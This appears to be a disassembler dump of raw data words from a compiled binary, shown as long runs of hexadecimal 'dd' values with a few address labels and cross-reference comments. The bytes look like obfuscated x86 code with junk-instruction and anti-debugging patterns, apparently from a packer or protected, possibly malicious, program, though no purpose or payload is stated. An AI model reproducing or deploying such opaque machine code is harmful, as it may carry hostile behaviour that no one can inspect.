dd 60240489h, 1F29B58Bh, 61F90935h, 275995FFh, 6B60935h
dd 12B99D8Bh, 0C4830935h, 0D381660Ch, 858DE487h, 9354B94h
dd 175D9589h, 8B900935h, 0BB5150DAh, 371B9F35h, 6A905Bh
dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
dd 0EED422C3h, 897EDE82h, 3510AD85h, 6A026A09h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 1B042444h, 47000000h
dd 13A6C357h, 0E3D8ECFBh, 9D2BFFDAh, 9350BCDh, 0FF17D280h
dd 68857495h, 61D68B00h, 0B59D8B60h, 8909350Ah, 35043195h
dd 85C76109h, 9354BC7h, 1, 14CB8166h, 0BB6696FAh, 0F50C58Fh
dd 286h, 96F38A00h, 10E9h, 5E5B1F00h, 0CF122C87h, 0F4731E74h
dd 2770186Dh, 78B58925h, 6A09354Bh, 3E85200h, 20000000h
dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 80E0C352h
dd 66829F75h, 4234CB81h, 0BD83D18Ah, 9351C19h, 7C850F01h
dd 60000000h, 11E9h, 0E2FA2000h, 71A12BCDh, 2A2E923Ch
dd 5F2F7590h, 0B70F6BA7h, 0F88361C1h, 58850F05h, 6A000000h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 1D042444h
dd 46000000h, 0FA5AC356h, 0F3BA9B74h, 71C02BA6h, 9E9h
dd 7F0A7300h, 137621Dh, 0B8AB07h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 16042444h, 47000000h
dd 38F4C357h, 83D1B2DDh, 350D55BDh, 840F0009h, 12h, 81665CB2h
dd 0B89D1FF3h, 0
dd 3359529h, 6A600935h, 3E85700h, 20000000h, 895FC35Fh
dd 8104247Ch, 14042444h, 47000000h, 0B744C357h, 0AD858B7Eh
dd 6A093526h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 1D042444h, 47000000h, 5676C357h, 70B07A77h, 80F9C0Fh
dd 2EE1958Bh, 9D230935h, 93503CDh, 8B02C083h, 708589D0h
dd 6609354Bh, 0C61C16BAh, 5157FF00h, 793CEA81h, 5A5B7CFBh
dd 179D85C6h, 2B530935h, 350E319Dh, 43F96809h, 8B60F980h
dd 0CE9DAh, 0A3B0000h, 99D4D57h, 2C9ED988h, 8161D7FBh
dd 0B212434h, 6A0531h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 140424h, 51410000h, 0B5FF2FC3h, 935167Dh, 27919D89h
dd 858D0935h, 9387B70h, 0E09377BAh, 6AD0FF04h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h
dd 2ACCC356h, 0D371CE26h, 735D3FAh, 8298589h, 0BD830935h
dd 9351F91h, 0BF850F01h, 89000000h, 350E1DB5h, 9D096009h
dd 93528F5h, 10799529h, 61610935h, 24B59D89h, 85C60935h
dd 935179Dh, 56006A45h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1D04h, 0C3564600h, 485F2A17h, 24407AA7h, 99686A88h
dd 0BA89051Bh, 0F7A7C9Eh, 29240481h, 0F515B1Dh, 0B5FFD7BFh
dd 935167Dh, 1D3D8509h, 858D0935h, 9387B70h, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 36C35343h, 0D0FFC6ABh
dd 6ECB8166h, 66006AB4h, 7B46C381h, 6AD0FFh, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0F7E2F4C3h
dd 16FDB529h, 0BD830935h, 935129Dh, 0C2850F01h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 10DBC353h, 0AD858BADh, 8B093526h, 35267D9Dh
dd 49BA6609h, 77E9AFh, 958B0000h, 9353049h, 0E9525050h
dd 0Ch, 7D3501D5h, 6DA78135h, 344C1DF9h, 9E9310Fh, 87000000h
dd 0C88D9052h, 0C39B4B14h, 489585Ah, 29BD2924h, 6A09351Fh
dd 55006A14h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 5F940A66h, 65456B72h, 0D98AA2ECh, 82995FFh
dd 952B0935h, 9351BC9h, 0D899D8Bh, 89580935h, 3502A1BDh
dd 388009h, 0FF86850Fh, 8589FFFFh, 9350BF9h, 2F058589h
dd 0C60935h, 85896101h, 93522C9h, 0E35BD83h, 0F000935h
dd 8984h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
dd 1604h, 0C3564600h, 6076A52Ch, 2E25BD8Bh, 0B58B0935h
dd 93521D5h, 1D9D8B61h, 6A093532h, 0D99D03FFh, 0FF093516h
dd 35082995h, 57006A09h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1904h, 0C3574700h, 8B86977Eh, 14E9B7C5h, 0B2000000h
dd 0B9EF9932h, 6E4B9916h, 0A56B399h, 1B29CE4h, 8BB47874h
dd 3506219Dh, 0FFADE909h, 0BB66FFFFh, 85C7B812h, 9350E35h
dd 1, 0CD9D0356h, 5A09352Eh, 4B7C8589h, 64B20935h, 55BB6650h
dd 24048935h, 1F359589h, 60FC0935h, 12E9h, 6F2B6300h, 0EAB4530Ah
dd 742C1184h, 26ABD6E5h, 89AD292Dh, 351F1185h, 89056A09h
dd 3527F9BDh, 94858D09h, 6A09354Bh, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1D042444h, 43000000h, 8CCDC353h
dd 23AF92EFh, 0B0D7A9D4h, 8B90D38Bh, 0B66050D8h, 8D0FA7h
dd 61000000h, 8850F90h, 0F000000h, 284h, 8D5B5300h, 354B8485h
dd 7E909h, 48860000h, 57BE3E34h, 0DE8B9021h, 5E850h, 24A20000h
dd 8A7DB862h, 8B905BDDh, 35016D95h, 0E195FF09h, 0E9093511h
dd 13h, 0D917DE4Dh, 6D2316B3h, 4D00715Dh, 0CBBB17A0h, 8D8B05C1h
dd 3579C08Dh, 2DC28109h, 0B417730h, 8D1174C0h, 354B9485h
dd 0D1FF5009h, 4BB28589h, 0AEB0935h, 4BB285C7h, 0FFFF0935h
dd 89F9FFFFh, 350AA995h, 61DA8B09h, 85C6C7B7h, 935179Dh
dd 51006A4Dh, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1C04h
dd 0C3514100h, 4BD0CFCEh, 0CCA841B7h, 1D958963h, 68093528h
dd 7F906556h, 24BA6660h, 13E8FAh, 39CC0000h, 0E6B4FFD4h
dd 0DC26287Dh, 547AA39Fh, 8F3E6714h, 0B8BE662Bh, 81615B41h
dd 11522404h, 958B24A5h, 9350605h, 1F39B5FFh, 6A0935h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 1C0424h, 50400000h
dd 1D0938C3h, 4F318A1Ch, 8057AE6Fh, 895A24F7h, 35305595h
dd 0CD9D0B09h, 8D09350Ch, 387B7085h, 598D8909h, 0FF09350Ch
dd 56006AD0h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h
dd 0C3564600h, 89DE8AC1h, 3525A185h, 50006A09h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1704h, 0C3504000h, 0C861EBE0h
dd 6830Fh, 9D8B0000h, 9351625h, 179D85C6h, 6A450935h, 3E85300h
dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h
dd 92BFC353h, 2291E05Fh, 6E8577Ch, 0CD000000h, 0C5AD80E8h
dd 8B0F79h, 5A000000h, 0C4A0685Bh, 0FE88624h, 7F000000h
dd 21F666CDh, 46834684h, 3E21F040h, 12B64801h, 2404815Bh
dd 84DA4C9h, 28E0Fh, 13B60000h, 167DB5FFh, 6A0935h, 3E850h
dd 58200000h, 448958C3h, 44810424h, 190424h, 50400000h
dd 14507BC3h, 66606113h, 0B4DDE281h, 858DD78Bh, 9387B70h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 10C35040h
dd 89D0FF5Dh, 352BE1B5h, 0C9858909h, 0F09351Ah, 58Fh, 6C60BB00h
dd 0BD8957BCh, 9351125h, 6AD28Bh, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 1A0424h, 56460000h, 9D0DE6C3h, 90BE6149h
dd 66D2BF0Fh, 850FD98Ch, 1, 4C1F6F8h, 1C0840Fh, 9D8B0000h
dd 9352569h, 0DEE9h, 0C37DBB00h, 0B58B36EAh, 9350C05h
dd 660DB060h, 0A820D781h, 80C68161h, 66000011h, 53E9D381h
dd 0FE9h, 0DA6FD00h, 555022DDh, 60F39C33h, 0FF689B12h
dd 15F9BD83h, 0F000935h, 3185h, 55006A00h, 3E8h, 0C35D2000h
dd 246C895Dh, 24448104h, 1A04h, 0C3554500h, 0D772FDDh
dd 898936A4h, 350C618Dh, 65E909h, 8B660000h, 3E83F8D3h
dd 58840F00h, 0B6000000h, 6AF960FAh, 11E95714h, 94000000h
dd 570B97A9h, 65620BE4h, 216B7E03h, 0EBDFA567h, 2995FF5Ah
dd 6A093508h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1C042444h, 46000000h, 0FE9CC356h, 9B4FBD1Ch, 611D11B7h
dd 0A7E9B6B7h, 8BFFFFFFh, 0CD958BD1h, 0C7093525h, 106h
dd 0D99D8B00h, 83093525h, 354B7CBDh, 850F0509h, 0CAh, 8BDFBF0Fh
dd 351AC9B5h, 12E909h, 0A6280000h, 0C1BD6682h, 0AB43D987h
dd 0E947A0DDh, 793252A9h, 64B9h, 6880F00h, 81000000h, 1D68D6F2h
dd 0E83E8021h, 2E840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h
dd 44810424h, 180424h, 56460000h, 47BCF3C3h, 8B66F105h
dd 28E9D7h, 85890000h, 9351C31h, 0C2057E80h, 36840Fh, 0CE80000h
dd 99000000h, 0D55FEDDAh, 46955D69h, 81DA1BF2h, 14FC29DBh
dd 52465A68h, 5BD6E380h, 9A850F49h, 52FFFFFFh, 1AC214BAh
dd 27E95B6Dh, 0BA000000h
dd 17F1E498h, 1095B589h, 6A0935h, 3E853h, 5B200000h, 5C895BC3h
dd 44810424h, 140424h, 53430000h, 66582CC3h, 4E04F281h
dd 1B91BD83h, 0F000935h, 0FC84h, 0E1BA6600h, 0F60F8ADh
dd 58Dh, 0F3816600h, 85C6A1BDh, 935179Dh, 0B99D8B54h, 0E8093522h
dd 4, 0FF4EBEF4h, 50D18B66h, 4B96060h, 0E9111E11h, 7, 0CFFC2211h
dd 6140A73Eh, 2890Fh, 61600000h, 24448B61h, 0D18B6604h
dd 0D38A008Bh, 4244489h, 6A585A57h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 17042444h, 40000000h, 3D88C350h
dd 9D8BD2F1h, 9350BE5h, 167DB5FFh, 0D18A0935h, 7B70858Dh
dd 0BA660938h, 0D0FFA854h, 1D558589h, 6A0935h, 0FE960h
dd 0BB3D0000h, 4284AD59h, 946ECCA5h, 16101E53h, 58D8BB2h
dd 6109351Bh, 1B91B5FFh, 80BB0935h, 0FF5214ACh, 57006AD0h
dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h
dd 61D38BAEh, 14E9h, 8A00B800h, 0BE224B3Dh, 6BC139D3h
dd 0D8679E22h, 0E03A0CD4h, 4985C7E2h, 1093512h, 81000000h
dd 9AD8E3EAh, 5BB36062h, 0A9F14168h, 11E82Dh, 0B7190000h
dd 0BE4DFEAFh, 145E1664h, 0B8473971h, 0F3DF268h, 681h
dd 860F00h, 5A000000h, 0C1243481h, 602DA9F1h, 2CC99589h
dd 0DA8B0935h, 0FFF6A61h, 288h, 0FFD68B00h, 351EA195h
dd 6820F09h, 31000000h, 3502F1BDh, 0C7806109h, 0E860501Dh
dd 6, 3D5A9E9Fh, 0B9668D9Bh, 61592D5Ch, 6A240489h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
dd 2CA7C350h, 7AEBC332h, 0C99D8BCCh, 8B093523h, 3527BD85h
dd 6850F09h, 89000000h, 352DB9BDh, 0FC00B09h, 2C84h, 50006A00h
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1804h, 0C3504000h
dd 61E7C6F3h, 3195FFECh, 8009351Bh, 0C38051D3h, 3585C7D3h
dd 1093516h, 0B7000000h, 0D1BD832Dh, 9350Bh, 3B840Fh, 0D2800000h
dd 6E965h, 0AAA40000h, 92CB96FDh, 224195FFh, 6A0935h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 190424h, 53430000h
dd 0B093BFC3h, 89CAB4F3h, 35035195h, 41BD8309h, 93527h
dd 2C840Fh, 0BF0F0000h, 0ED95FFDBh, 6A09350Ch, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 17042444h, 42000000h
dd 0FBAC352h, 0BA661446h, 0BD83F290h, 9353229h, 47840F00h
dd 1000000h, 350A3DBDh, 89BD8309h, 93511h, 34850Fh, 0BB660000h
dd 95FF0F4Fh, 9350A85h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 15h, 61C35141h, 0CB8166C4h, 8F0FE988h, 2
dd 0BD83D78Ah, 9352749h, 34840F00h, 0E8000000h, 0Ch, 97B38893h
dd 439E6665h, 610537C6h, 24C1B589h, 815A0935h, 352AC185h
dd 400309h, 81D18B00h, 352CA985h, 400309h, 89858900h, 0F09352Ah
dd 52006A31h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h
dd 0C3524200h, 8DB2B913h, 355A518Dh, 89D78B09h, 351C7195h
dd 89018909h, 35061D95h, 6AC23309h, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 1A042444h, 45000000h, 9AD9C355h
dd 0BC830416h, 8D9589F7h, 81093512h, 11AB53E2h, 4418929h
dd 0D19D8B56h, 5B09352Ah, 9533310Fh, 9352CD5h, 5A5D8D8Dh
dd 8D890935h, 9351D6Dh, 0B5310189h, 93512A1h, 5656C233h
dd 5A5B5A51h, 50044189h, 21F59533h, 835A0935h, 353301BDh
dd 840F0009h, 2Dh, 95FFD18Ah, 9351F19h, 1F01BD89h, 810F0935h
dd 19h, 14E9h, 379BCF00h, 394D3B40h, 732C8EBh, 0E828EF02h
dd 0E0F1BB55h, 51BD8333h, 109351Bh, 72850Fh, 8F0F0000h
dd 5, 0F8EB8166h, 5800F31h, 51000000h, 5BD8B70Fh, 57E9h
dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1B04h
dd 0C3574700h, 30917E89h, 71A4461Fh, 8E9h, 4E3F5400h, 69C378F9h
dd 859D2903h, 8B093500h, 355B6AB5h, 6C709h, 8B000000h
dd 355957B5h, 6C709h, 0CF000000h, 852903B6h, 9351EF5h
dd 1635BD83h, 0F000935h, 14784h, 7DBD8300h, 109351Fh, 12B850Fh
dd 85090000h, 9351135h, 4B708D8Bh, 0BD010935h, 9350E95h
dd 0F0001C6h, 689h, 419D8B00h, 6009350Ah, 0E6E38166h, 4E817h
dd 800000h, 8B660000h, 8B6650D1h, 24448BD3h, 7FADBA04h
dd 8B5D9Bh, 9E8h, 5118F00h, 0E538EC5Bh, 9E82E12h, 0D9000000h
dd 0CE4BA12h, 0B1AB5AAh, 820Fh, 5A5A0000h, 4244489h, 58D0F58h
dd 0BB000000h, 1B8D0A64h, 958BFF6Ah, 935015Dh, 1EA195FFh
dd 7E90935h, 67000000h, 0CDB2B0CCh, 6A61207Bh, 3E85500h
dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h
dd 17F4C355h, 4BAE749Fh, 0D6B88545h, 257D95FFh, 880F0935h
dd 3, 8BEEE280h, 354B708Dh, 56006A09h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1604h, 0C3564600h, 0FE3F93FCh
dd 51006A01h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1B04h
dd 0C3514100h, 93693310h, 0FB1F3BBAh, 2EC19D8Bh, 8D0F0935h
dd 11h, 0CE9h, 0DFA98C00h, 0FA70950Fh, 9B593D2h, 0A5BD8350h
dd 109352Bh, 2850Fh, 0FC8A0000h, 0BA66C08Bh, 0BD83EA46h
dd 93526A1h, 83097500h, 353079BDh, 1A740009h, 0C08B5350h
dd 2AC1858Bh, 85890935h, 9352AC1h, 0B4389D8Dh, 0D3FF0937h
dd 0BD83585Bh, 9353079h, 50187400h, 0C1858B53h, 8909352Ah
dd 352AC185h, 279D8D09h, 0FF0937B1h, 89585BD3h, 35227D9Dh
dd 31B52909h, 8B093532h, 53006AC0h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1D04h, 0C3534300h, 520F86A3h, 978CD528h
dd 0F5565814h, 35BD835Bh, 93516h, 6C850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 190424h, 55450000h
dd 3DB5DFC3h, 0F25AA1Ch, 686h, 7D958B00h, 83093506h, 351B85BDh
dd 840F0009h, 32h, 0E851006Ah, 3, 59C35920h, 4244C89h
dd 4244481h, 16h, 0D3C35141h, 0FE91609h, 0B5000000h, 0B1B1752Ah
dd 0A0362D35h, 7CBD2366h, 0BD831E01h, 9351635h, 59840F00h
dd 6A000000h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 14042444h, 47000000h, 80EBC357h, 0B70F8FE7h, 15BD83DAh
dd 93508h, 2A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 1C0424h, 50400000h, 0AF2B23C3h, 276170E2h
dd 9D899C5Ch, 935321Dh
dword_544450 dd 1635BD83h, 0F000935h, 3B84h, 50006A00h, 3E8h, 0C3582000h
; DATA XREF: ___:off_43D3A4o
dd 24448958h, 24448104h, 1D04h, 0C3504000h, 0F0A2D446h
dd 3AB9CBD3h, 0C780398Bh, 15BD83DEh, 93508h, 6840Fh, 9D8B0000h
dd 9352745h, 1635BD83h, 0F000935h, 7484h, 56006A00h, 3E8h
dd 0C35E2000h, 2474895Eh, 24448104h, 1804h, 0C3564600h
dd 3DE3B157h, 2DB589EAh, 0E9093516h, 7, 8021DA25h, 0FC2C2FECh
dd 855BD83h, 0F000935h, 3484h, 56006A00h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1A04h, 0C3564600h, 72635F0h, 0F7DC276h
dd 0AE9D3B7h, 2F000000h, 595475DFh, 0C1FEDB10h, 35BD83C2h
dd 93516h, 4C840Fh, 73BB0000h, 835FBA51h, 352861BDh, 840F0009h
dd 3Ah, 4A59D8Bh, 95FF0935h, 9351265h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 1Ah, 8BC35242h, 0C2F452C3h, 0BD892D03h
dd 9350DB5h, 2711958Bh, 0C08B0935h, 0CE9h, 415C5A00h, 75028567h
dd 5D98BE19h, 0A1BD830Eh, 93526h, 0BD830975h, 9353079h
dd 501A7400h, 8BC08B53h, 352CA985h, 0A9858909h, 8D09352Ch
dd 37B49F9Dh, 5BD3FF09h, 79BD8358h, 93530h, 53501874h
dd 2CA9858Bh, 85890935h, 9352CA9h, 0B1409D8Dh, 0D3FF0937h
dd 9D8B585Bh, 9353029h, 4EDBD89h, 0C9BA0935h, 8B600555h
dd 0C38166C0h, 0BD837D60h, 9351635h, 97840F00h, 6A000005h
dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 16042444h
dd 46000000h, 9133C356h, 0D8BF0F93h, 0DE9h, 0B026C400h
dd 3F3D560Ch, 4F2CF271h, 0BD83FFB0h, 9351F91h, 1D840F02h
dd 51000000h, 297D9589h, 835B0935h, 351B51BDh, 850F0109h
dd 8, 48EB8157h, 5A7C66B1h, 2C89BD83h, 0F000935h, 0FC84h
dd 0FE900h, 0A8350000h, 2E0A40E0h, 970F7152h, 0B36C0EE1h
dd 0E281665Bh, 6A60A35Fh, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 17042444h, 43000000h, 0E42DC353h, 8D8B3629h
dd 9354B70h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 15h, 21C35040h, 9D958B8Dh, 0FE09352Dh, 0E1858901h, 60093513h
dd 3B5FBF66h, 68619DB0h, 3E645185h, 3481F18Ah, 64510524h
dd 958B603Eh, 9352C95h, 0E16392B9h, 0FF6A6177h, 0E852006Ah
dd 3, 5AC35A20h, 4245489h, 4244481h, 18h, 0DBC35242h, 91E844CCh
dd 10059501h, 95FF0935h, 9351EA1h, 288D958Bh, 6A610935h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h
dd 41000000h, 57C351h, 0C5355933h, 3E0E1B1h, 0DE9h, 0E4616F00h
dd 60F4C86Dh, 5A0EE70Dh, 8B66490Dh, 9D0960D0h, 93523E1h
dd 4B708D8Bh, 0BB660935h, 1FEACFCh, 29519D8Bh, 40680935h
dd 60C46DE1h, 8161F18Ah, 1F402404h, 6A3B92h, 3E851h, 59200000h
dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 34B0FEC3h
dd 0FD36A026h, 0BB66688Ah, 0FF6AB04Ch, 5E9h, 0D9B45800h
dd 9D235B62h, 9352FA5h, 1EA195FFh, 81660935h, 61316CC3h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 57C35040h
dd 718A5C75h, 0BD8DFA57h, 93529E9h, 8B1C4F8Bh, 3510059Dh
dd 29016A09h, 3505B195h, 0E8605009h, 0Eh, 7241217Dh, 49F4AFADh
dd 8A1347EAh, 0DE9D22Eh, 64000000h, 40FD0478h, 4B5F6341h
dd 7226A604h, 28B0F59h, 0B5000000h, 0C8961C4h, 0EB816624h
dd 858D7A38h, 9383D39h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 14h, 0D1C35242h, 8E8h, 341B3400h, 0FF75E063h
dd 12E9AFh, 34740000h, 0B0AA398Ah, 67908CC0h, 6AC05EAAh
dd 6FA101C9h, 8BD0FF5Bh, 11E9204Fh, 0C4000000h, 0BADE26BAh
dd 2FD27E58h, 8FD37432h, 0D998FA76h, 9D8B036Ah, 9350FFDh
dd 89D78A50h, 9D8B240Ch, 935259Dh, 3D39858Dh, 958B0938h
dd 9351D41h, 2E39958Bh, 0D0FF0935h, 2A6D9D8Bh, 0BD8D0935h
dd 93529E9h, 8B92DF80h, 0AE81C4Fh, 0FB000000h, 0E2A2DE9Eh
dd 0BD2F8365h, 0AFA5BB90h, 6A5A4CA0h, 57006A01h, 3E8h
dd 0C35F2000h, 247C895Fh, 24448104h, 1C04h, 0C3574700h
dd 0BEE9228Ch, 0EA69C868h, 0D59D8B67h, 50093510h, 8B240C89h
dd 350C1595h, 39858D09h, 6A09383Dh, 3E85500h, 20000000h
dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 8B41C355h
dd 350F8995h, 6AD0FF09h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 411C356h, 0F8ABC904h
dd 6A204F8Bh, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch
dd 15042444h, 45000000h, 0AE71C355h, 0AC98ACBAh, 0E9036A51h
dd 12h, 5670E121h, 0C7691FB9h, 56FE9656h, 0AA8A27AFh, 5CB22123h
dd 50D88B91h, 0A76AE8BBh, 6A9179h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 180424h, 50400000h, 5DCC62C3h, 8166BA5Ah
dd 8DCD69EBh, 383D3985h, 0F00EBA09h, 0D0FF573Dh, 0E853006Ah
dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0C35343h, 9A60EBD1h
dd 89A07A07h, 352AD59Dh, 708D8B09h, 6A09354Bh, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
dd 0D5E2C356h, 0B01FE9Eh, 350B6D9Dh, 0C810BA09h, 858B329Fh
dd 9354B70h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
dd 16h, 1CC35747h, 95897323h, 9350CFDh, 8E900FEh, 60000000h
dd 0D5266352h, 891E45FAh, 3503799Dh, 0BB016A09h, 59E9A951h
dd 4E8h, 0FF9FFF00h, 9E8FFh, 1C250000h, 0D2A429F2h, 502EE7EDh
dd 66310F52h, 585AD08Bh, 5250505Ah, 0D3BA6657h, 310F5BADh
dd 585AD6B2h, 424448Bh, 0BE8h, 401E200h, 0D8FD4CF4h, 0A0E1F16Ah
dd 0CE9h, 3CDD0F00h, 904D70DEh, 7D4D371Eh, 8B5B5Dh, 0FEA2BB66h
dd 4244489h, 9E960h, 798A0000h, 0E130B43h, 0E9C7E66Eh
dd 7, 459CCD2Dh, 61A03940h, 50006A58h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1904h, 0C3504000h, 0EE8AD301h
dd 858D6D98h, 9383D43h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Dh, 5FC35242h, 79B4B803h, 0C8134DC5h, 0FF92B7AAh
dd 55006AD0h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1704h
dd 0C3554500h, 0D954F50Ch, 0BE9h, 6735B300h, 0B3A777F9h
dd 0D0225D24h, 24DD958Bh, 0BD830935h, 9351B85h, 0DA840F00h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
dd 18042444h, 40000000h, 119AC350h, 89843FEAh, 3510AD85h
dd 19BD8309h, 109351Ch, 0A7850Fh, 6A0000h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0C1A589C3h
dd 8DD0BF0Fh, 383D4D8Dh, 0D98B6609h, 8B66036Ah, 6A016AD0h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 5137C350h, 0D78B6660h, 10E9h, 0D7905C00h
dd 8065A1h, 9AA63082h, 7AE0224Dh, 0FF5B61F3h, 6AD18AD1h
dd 2EF38001h, 3350016Ah, 3505099Dh, 0DE95A09h, 4000000h
dd 634140FDh, 0A6044B5Fh, 180C7226h, 8D29D1FFh, 9350F35h
dd 265EF1E8h, 68C0FF7h, 89000000h, 350501B5h, 0F9206A09h
dd 9E9FF6Ah, 0A5000000h, 35EFFDEh, 0E235E4A9h, 1EA195FFh
dd 0DA8B0935h, 7894BF60h, 0DE8784Fh, 0C8000000h, 72568B19h
dd 6B162BDCh, 526033F9h, 5FCBBF0Fh, 0B861h, 8B660000h
dd 0DFBF0FD1h, 840FC00Bh, 63h, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 17h, 55C35141h, 80644FA0h, 0BD83E2C6h
dd 9350331h, 34840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 1D042444h, 40000000h, 5DC6C350h
dd 0C764F59Ch, 701A386Bh, 0FFDABF0Fh, 350F3D95h, 0B9E1BB09h
dd 8BF55ABCh, 3526AD85h, 56006A09h, 3E8h, 0C35E2000h, 2474895Eh
dd 24448104h, 1504h, 0C3564600h, 7E900B9h, 0BD000000h
dd 0B257DA5h, 0C6094Dh, 0DE900h, 0E4630000h, 44754F17h
dd 3D2493B3h, 58487BF5h, 30719D29h, 9E80935h, 0BB000000h
dd 75C6A106h, 21A02705h, 8C665BF9h, 0BE8D9h, 740A0000h
dd 9DE545EBh, 0BEFFFED1h, 718D8926h, 5B093525h, 30419D8Bh
dd 0C1F60935h, 5B840F04h, 0E8000000h, 0Eh, 0FD5E11A6h
dd 0C1C8B022h, 576DCDE4h, 0EE9D3C6h, 8F000000h, 0A387FB7Ch
dd 0F103E622h, 0C593E2B8h, 2FE95ACFh, 8B000000h, 350B959Dh
dd 5B58B09h, 8B09350Ch, 351E0995h, 80C68109h, 0F000011h
dd 68Ch, 0DEEB8100h, 0C74064D8h, 6, 0EB816600h, 0B65EBC12h
dd 0F8831Fh, 0C7D840Fh, 0F2810000h, 121244BDh, 0F01F883h
dd 1B985h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1804h, 0C3524200h, 2E869005h, 5EBABA96h, 0B838B5h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 19042444h
dd 42000000h, 5EB4C352h, 25F2E02Ah, 28F9958Bh, 0C00B0935h
dd 0DB840Fh, 9D010000h, 9352495h, 0C59B509h, 0F8830935h
dd 0F5840F01h, 6A000000h, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 18042444h, 46000000h, 56D9C356h, 83606EE0h
dd 840F03F8h, 55h, 28C0Fh, 0D08A0000h, 0BD89C02Bh, 935025Dh
dd 7974BD8Dh, 6A005Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 1D0424h, 55450000h, 9390B8C3h, 62425B73h, 0E9CADEB6h
dd 9, 3DA8FE7h, 0B7AB8D45h, 0E9E7FF21h, 5, 7FC1C585h, 1B84Ah
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 191027C3h, 4A9158C3h, 292EF6FDh, 352E89B5h
dd 74BD8D09h, 60005B79h
db 89h, 8Dh
word_544F42 dw 2CC9h ; DATA XREF: ___:off_435DD8o
dd 0DA810935h, 4FEC982h, 8BE7FF61h, 0FCBD8DDFh, 0E9093541h
dd 14h, 0BC876E51h, 0C1FC3C1Bh, 0A32DD0h, 89BCDD8Fh, 2C7C52FBh
dd 1D5D9589h, 93E90935h, 0BA000002h, 33A541F1h, 4BCB85C7h
dd 50935h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 51F090C3h, 0FD232689h, 0E977D515h
dd 11h, 5CB0D668h, 2D2C98B7h, 9ADDF587h, 921E0552h, 5B8A8h
dd 68B70000h, 9FCE9h, 0D2816600h, 0F883FB91h, 0F8850F02h
dd 6A000000h, 3E85000h, 20000000h, 8958C358h, 81042444h
